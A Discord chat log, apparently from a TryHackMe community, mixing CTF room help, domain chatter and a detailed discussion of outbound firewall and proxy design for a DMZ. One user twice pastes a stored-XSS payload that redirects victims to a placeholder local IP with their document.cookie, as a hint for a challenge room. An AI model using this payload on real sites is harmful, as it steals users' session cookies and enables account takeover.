can you join any voice romm i can share screen

[slow helm]

no every one that contain an http page

[cerulean flame]

Can I get some help with W1seguy room

[boreal scarab]

Yah

[tepid furnace]

#room-help

[loud marlin]

do the command and do you have 0% packet lost or 100% lost ?

ping -c 3 10.10.10.10

[boreal scarab]

sudo namp -vv -sV -p- IPHERE

[slow helm]

it's pingigng

pinging *

[loud marlin]

so 0% lost or 100% lost as result ?

[slow helm]

i think 0

[loud marlin]

it need to ping 3 time and in text you get in terminal needs to tell of packet lost

[slow helm]

0 packet loss

and it pinged 3 times

and i can see the flag when i visit http://10.10.10.10

[loud marlin]

if you do that ifconfig what is mtu as i show up example ?

[slow helm]

1500

[loud marlin]

can you send picture. jsut hide the details such as ip and so

[night prairie]

😭 I messed up my DNS records and instead of pointing a subdomain to that, it instead pointed the main domain

I only realised like 2 weeks later

[boreal scarab]

https://tryhackme.com/r/room/25daysofchristmas

[rapid merlin]

hi

[slow helm]

https://muirlandoracle.co.uk/2020/01/06/tryhackme-christmas-2019-challenge-write-up/#Day_Eighteen_-_ELF_JS

[errant fossil]

Thx

[twin ridge]

Gave +1 Rep to @slow helm (current: #858 - 4)

[slow helm]

just read this part and you will understand me @boreal scarab

[devout palm]

lol so did they get rickrolled

[slow helm]

register an account

adn then connect /home

[normal fable]

I wonder if I should buy a serious domain name.. lol

[shadow loom]

Amazon Route 53 has cheap ones

[slow helm]

</p><script>window.location = 'http://<local-machine-ip>/page?param=' + document.cookie </script><p>

[urban whale]

get some memish one to make le funny emails

[normal fable]

I have a few already.. lol

[urban whale]

oh

lets hear some

if ur comfortable shairing

[normal fable]

neg. could doxx me. lol

[urban whale]

fair enough

i own [e-mail]

not my domain

but

[normal fable]

not like you couldn't already find out all my info from what is currently known.. but why make it easier. 🤣

[urban whale]

cool email

[buoyant tree]

Don't say you're the one emailing me from a rick roll domain

[urban whale]

i feel u

[normal fable]

No. I don't do anything with them right now. lol

[slow helm]

/p><script>window.location = 'http://<local-machine-ip>/page?param=' + document.cookie </script><p>

[shadow loom]

Whois protection?

[slow helm]

@boreal scarab

paste it

[buoyant tree]

pay 1.4k$ and get it removed

[slow helm]

with the local ip machine

[urban whale]

💀

[normal fable]

In place.. but there are other ways. 😦

[urban whale]

is it really 1.4?

[buoyant tree]

think so

saw a article a while back

[urban whale]

mad

[shadow loom]

If you're they desperate to find out their name by all means...

[shadow loom]

Ok

[urban whale]

atp just repurchase the domain off a diff registrar and pretend like u didnt own it before

ez

[shadow loom]

I own securegateway.link

[errant fossil]

sounds very secure

[shadow loom]

Right?

[errant fossil]

yup

i would click no hesitation

[shadow loom]

Good

$5 well spent

[errant fossil]

per year? or one time pay?

[shadow loom]

Year

[errant fossil]

Yeah for securegateway 100% worth it

[shadow loom]

I also own studythe.cloud which is going to be a learning portal for some courses I'm working on

Just need to find a proper backend or write one, whichever makes most sense

[errant fossil]

that sounds cool, What kind of courses or is it a suprise reveal?

[shadow loom]

Python introductory and advanced course and maybe some general stuff about DevOps

I'm considering making the first half or 75% of the python intro course free and the rest of it like $5. Potentially $5 or $10 for the advanced one

Not sure yet... The advanced would go through the design and implementation process of something big.. Possibly a C2 framework because #haccerr

[loud marlin]

https://tenor.com/view/truffle-shuffle-goonies-crazy-dance-gif-22421820

[shadow loom]

Having a stroke?

[loud marlin]

it is from old movie

[boreal scarab]

@shell nova Got him all sorted, I ended up just being the test dumby, he told me what he wanted me to do.

[loud marlin]

dhrck ?

[boreal scarab]

But did fix it SOMEWHAT. Page still wouldn't load, but his VPN was having issues before

[normal fable]

the truffle shuffle... Goonies.. lol

[errant fossil]

Thats awsome, let me know when your done, would love to purchase

[sand trench]

aaaand it is sleep to the sloop from the beep to the boop while meep moop

[shadow loom]

It's what I will spend my summer holidays on, but whether a month is enough I'm not sure.. 😂

Otherwise give me a follow on twitter. Knowing me, I will 1000% spam my feed when things are online

[errant fossil]

shoot for the stars, aim for the moon

[errant fossil]

100% whats the acc

[shadow loom]

0xbirb

It's linked if you click my discord profile

[buoyant tree]

wait a second, aren't domains 12$ for a year

haven't seen 5$ domains

[shadow loom]

Some are, like the com tld

.click is $3 even

[errant fossil]

sure thing, i followed

[pallid lotus]

.xyz can be less than that 🤷‍♂️
Depends on a large number of factors

TLD, domain length / popularity, etc

[shadow loom]

Yea

[pallid lotus]

Registrar too, to some extent

[shadow loom]

Muiri help me settle a debate with myself

[pallid lotus]

Can also be way more, tbf

Uh oh

[clear jackal]

I got some of mine for $0.99

[shadow loom]

Outbound rules are less important in an isolated subnet than inbound and in fact outbound could just be "allow from internal to any"

Yay or nay

[pallid lotus]

I'd say depends on the purpose of the subnet, but I'd lean towards nay, personally 🤷‍♂️
They may be more open than inbound but still require consideration

[shadow loom]

What should be considered for outbound rules?

Yea

[pallid lotus]

Depends on what the subnet is used for imo
Could do anything from allowlist only -> allow common ports -> allow common ports + others

[clear jackal]

On a home network? DNS and it's ports if you want to shove everything through something like pihole

[shadow loom]

Hypothetically speaking let's say it's a development team of 50 people

[clear jackal]

Oh, this is from earlier

[shadow loom]

M- maybe 👀

[pallid lotus]

I've got a locked down subnet on my home network where only connections to a single IP address and port are allowed, mainly because I'm paranoid, but that's all that it really needs

Well, now I'm curious about the context

[shadow loom]

This

[clear jackal]

Reference for others

[shadow loom]

Company IT team can't support the next few years, they suggest a DMZ

[pallid lotus]

I mean, realistically speaking, block everything, allow port 3128 to squid for outbound HTTPS + DNS connections, and leave it at that. Assuming they've got CI/CD sorted for deployment, they're unlikely to need anything else

If they do need anything else, it can be raised as and when encountered

[shadow loom]

Outbound?

[pallid lotus]

Aye. Do they need more more than HTTPS for research?

[clear jackal]

https://tenor.com/view/the-house-will-ferrell-axe-gif-8225033

[shadow loom]

Inbound is fine. I'm only wondering about outbound

[pallid lotus]

Assuming they're not trying to manually deploy anything

[shadow loom]

My hypothesis is that "from any to any" is fine

[shadow loom]

Potentially SSH and whatever things like npm use to install packages

[pallid lotus]

I mean, chances of it causing an issue are slim. I just tend to default to "security over anything else"

[shadow loom]

Git youkno

[pallid lotus]

Or rather, default to security, then consider usability as needed

NPM is HTTPS

Do they have a local git server or is it SAAS?

[shadow loom]

Did you just assume there's no cloud? What are you, from the 90's?

[loud marlin]

80

[pallid lotus]

Okay, let me rephrase. By "local" I mean something managed by the company lmao
I don't care where it is

[shadow loom]

Fair 😛

[shadow loom]

Not sure

Probably

But cloud too

[pallid lotus]

I mean, either way, same solution tbh.
Deploy some form of proxy if that isn't already in place. Allow that 443/TCP and 53/UDP access outbound to anywhere. Block all outbound from the isolated subnet except to port 3128/TCP / 8080/TCP / whatever the proxy runs on. If SSH is required for git ops, allow SSH specifically to that server

[shadow loom]

I'm just wondering, realistically speaking and without wearing tinfoil hats, what could happen from allowing "any any" outbound to the Internet? Sure, once you're hacked and such... But... Assuming that doesn't happen ()

[pallid lotus]

Realistically? Probably nothing 🤷‍♂️

It's disaster planning, pure and simple

Something you're glad for if you do get hacked, or if some insider threat shows up, or whatever, but otherwise just sits there and does nothing

[shadow loom]

F Billy... Always causing trouble that guy

[pallid lotus]

What, watching the wire to gmail, encrypted with TLSv1.3 using perfect forward security?

Then again, watch as Joe from accounting uses the same password for everything and it shows up in HIBP

[shadow loom]

[pallid lotus]

TL;DR: Defence in Depth ftw

If it's simple to implement then just sits there in the background without requiring ongoing maintenance, why not do it?

[shadow loom]

Hmm I guess

[devout palm]

Let's turn it off

Problem solved

[shadow loom]

Just makes my life that much harder because now I need to hunt down ip ranges to whitelist...

[pallid lotus]

I mean, I see no reason why it wouldn't be a thing? SMTPS is just TLS wrapped around SMTP right?

[shadow loom]

I mean the hypothetical person doing this hypothetical thing

[pallid lotus]

Why whitelist IP ranges?

[shadow loom]

I thought you just recommended against any any

Or was that through proxy you meant?

Assuming the IT department has stateful firewalls

Smh my head

[pallid lotus]

Yeah, I would block any:any, allow access only to a proxy (which has decent logging, can be configured for DPI, has allowlists, can be free, etc, etc), then leave the firewall alone

Use the proxy to configure which domains can be accessed

[boreal scarab]

https://youtube.com/shorts/h28bZjCR_5M?si=3b43--HYPqaBwcYy

Ah yes... AI Pin. Totally not a security risk. Nope, not at all.

[pallid lotus]

OPNSense ftw!

Love that project so much

[shadow loom]

And then configure anything that needs to speak to the outside world to use that proxy?

[pallid lotus]

Pretty much, yep. I assume the dev environment is connected up to AD?

[shadow loom]

Need to read up on that I guess

[pallid lotus]

Of some variety, I'm including Entra ID in there

[shadow loom]

Nop

[pallid lotus]

Well shite

That complicates things

[shadow loom]

Why

[pallid lotus]

AD would make that rollout incredibly simple.
GPO to set the proxy settings on everything at once, then hook the proxy auth up into AD with either LDAP or preferably Kerberos. Would be completely seamless and take about 5 minutes

[shadow loom]

Ah, then yes

[pallid lotus]

That said, for this situation proxy authentication is probably overkill anyway tbh

[boreal scarab]

My head hurts reading this

[pallid lotus]

[shadow loom]

Kek

[clear jackal]

Yee, Entra ID is just renamed Azure AD

[shadow loom]

I feel depressed that I know what he's talking about and what that means in terms of what I need to suggest to have done

Such pain

Such exhaustion

[boreal scarab]

Much drink

[pallid lotus]

If it helps, I feel depressed that I know what I'm talking about

[shadow loom]

Given your age you're a huge nerd

When do you move to Denmark so I can have you hired to my team?

HUH??

[pallid lotus]

I showed a colleague my home network a couple of months ago. Gave them a hell of a headache

[clear jackal]

Just mention STIGs

[pallid lotus]

Eh, just Ansible it for Linux 🤷‍♂️

Could do that for Windows as well, tbf, but might as well just use AD if it's in place already

[clear jackal]

"You like your windows environment don't you? You wouldn't want me to bring STIGs into this, would you?"

[pallid lotus]

IaC is beautiful I will hear nothing bad about it

[shadow loom]

My local guy has a default response to anything I ask about "that's very complicated, it will take at least a full week"

I wanted to know which policies were applied to an OU

Oooh such long task

[clear jackal]

Under promise, over deliver. I like it

[pallid lotus]

Automation is beautiful, I will hear nothing bad about it

[shadow loom]

Takes forever

No can do

I googled and got the data myself in 30 mins...

[pallid lotus]

That's what the planning phase is for!

[clear jackal]

I feel that

[shadow loom]

See? You fit right in, in my team

[umbral bay]

Idea takes 5 minutes. Implementation 1 day. Approval stamps 3 months.

[pallid lotus]

Tbf, Terraform is so much better for that than ansible

[clear jackal]

This is what leads to scope creep and people over promising

[pallid lotus]

If you want to feel bad for someone... I've got an intern coming in next week lmao

[pallid lotus]

Terraform planning phase

[shadow loom]

Sensei Muiri

[clear jackal]

Too many planners, not enough wrench turners

[pallid lotus]

Terraform plan before terraform apply

I'm reliably told the answer to that is OpenTofu

[shadow loom]

Oh! I know that one!

Kubernetes!

[pallid lotus]

Which I instinctively like more than Terraform from the name alone

[shadow loom]

[shadow loom]

Disclaimer: I hate k8s

[pallid lotus]

God, don't talk to me about Kubernetes... I started learning with K3s recently

My head hurts

[shadow loom]

Just... Don't

[pallid lotus]

We have infrastructure as code... as code...

[shadow loom]

Like literally just don't

[pallid lotus]

But I wanna upgrade my home deployments

[shadow loom]

Your life is much more fulfilled without the unnecessary complexity of kubernetes

[pallid lotus]

Right now it's docker swarm with portainer

That's booooorrrrriiiiiiiing

[shadow loom]

Nop, he's stuck in the rabbit hole guys. It's too late

[pallid lotus]

Nah, seriously, I test Kubernetes enough that I reckon it's worth learning to dev on them

[shadow loom]

Fair

[pallid lotus]

I know the security flaws to look out for in a kubernetes cluster, but I never feel completely happy testing something unless I can pull it to bits and put it back together again from scratch

Oh please don't

[shadow loom]

[pallid lotus]

I never could get into NixOS

[shadow loom]

It looks cool tbh

[pallid lotus]

I'll do you one better... mine's in a local git server running in the corner of my office

[shadow loom]

It's the ADD of Linux distros

[pallid lotus]

... complete with self-hosted CI/CD runners

[shadow loom]

The "ooh, shiny" distro

[shadow loom]

I need to send you a picture

Well I can post it here I guess

[pallid lotus]

Funny you should say this actually... I was looking into OpenStack yesterday...

Yeah, that was the conclusion I drew as well unfortunately

[shadow loom]

I present to you...

My Web server

[pallid lotus]

Yessssssss, love me some consoles

[shadow loom]

Raspberry Pi 5 with 7" touch screen showing self-stats on grafana

[pallid lotus]

Nice 😁

[shadow loom]

This was before I got a fan btw so it's a little bit warm...

(70 Celsius)

Ah wait there's a C... I'm too tired

Didn't see

😂😂

[pallid lotus]

Docker is beautiful

Have a play around with minikube in advance too

[shadow loom]

Last question before I head to bed

Should I include a "Biohazard" warning sign inside the DMZ bubble as a joke or is that too much?

[pallid lotus]

Yes

[shadow loom]

Aight

[pallid lotus]

Back at uni we had some custom police tape on the glass wall of the lab

[shadow loom]

😂😂

[pallid lotus]

Can't remember exactly the wording but it was along the lines of "Don't knock on the glass, hackers scare easily"

If you can get something like that, I recommend it

[shadow loom]

I made my own sign like that and put on the window of my teams new "office"

😂

[pallid lotus]

Obligatory @flint sluice shoutout

[shadow loom]

VAAARRRRG

Ok I'm off to bed

Have a good one

[whole yew]

i got a couple of horrible prod stories for you

[boreal scarab]

Story time? 🍿

[karmic wadi]

Hey does anyone know of any rooms that go over headless browser automation/implementations? Like Selenium/Puppeteer?

[whole yew]

they are not for public consumption

[night prairie]

Well I never got a reply from those jobs, so I assume so 😭
It was also the website I included in my university application (I got a blog on there), the course lead mentioned he found it funny, I don't think he believed me when I said it was unintentional

[devout palm]

lol that's awesome

[clear jackal]

I should really get a primary care doctor lol

It's been 5+ years

[boreal scarab]

God I hate people.

Walking on a street, and the street is pretty bright. 2 cars, one going one way, and one going the other. Car facing me had his highbeams on, when car going away was going past, high beams went off. After the car passed, guy turned them on and blinded me. Threw up my hands like WTF, and flipped them off. No apology, no nothing.

[tepid furnace]

buy a freight train horn

and then once someone does something similar you give them a traumatizing event from the suddon loud noise

https://tenor.com/view/cat-kitten-kitty-yeet-funny-gif-21938191

similar

[boreal scarab]

https://tenor.com/view/train-railway-trem-locomotiva-gif-18466139

[tepid furnace]

fr

[rapid merlin]

Like how to troll people with dynamic content generation via their own news feed using marketing implementations on social media kind not for public consumption?

[whole yew]

more like war stories that get traded behind closed doors

[quartz fog]

https://twitch.tv/VTSTech_

[rapid merlin]

Aww 😦

[pallid lotus]

I suspect I can guess...

[rapid merlin]

So I spent most of today reading ISO 29100 it's interesting

[rapid merlin]

❤️ metasploit

Is this the room with pdf's in the box?

[weary sleet]

Ok

[crude stump]

Chat

Yk what time it is chat?

[rapid merlin]

I do not know the time

does anyone know how to make a charaacter ai of sorts using a chatgpt api in python

[buoyant tree]

https://tenor.com/view/minions-its-time-to-party-despicable-me2-party-celebrate-gif-26156442

[rapid merlin]

🥳

[crude stump]

WOOOOOO

[buoyant tree]

AceS, you got any recommended mods for watch dogs

[rapid merlin]

What is watch dogs?

[keen ferry]

how tf am i supose to grow my server when i cant even get reach?

[buoyant tree]

a game where you basically watch dogs for a living

[crude stump]

Shiiii that’s the thing. I play on PlayStation

[buoyant tree]

ewww

[keen ferry]

🤣

[crude stump]

Bruh

[rapid merlin]

You watch cute doggos for a living? 😄

[crude stump]

PlayStation is lit

[buoyant tree]

mods really do make Watch dogs better

[keen ferry]

nah its overratred tbh

[buoyant tree]

did too much research on it

[buoyant tree]

PC >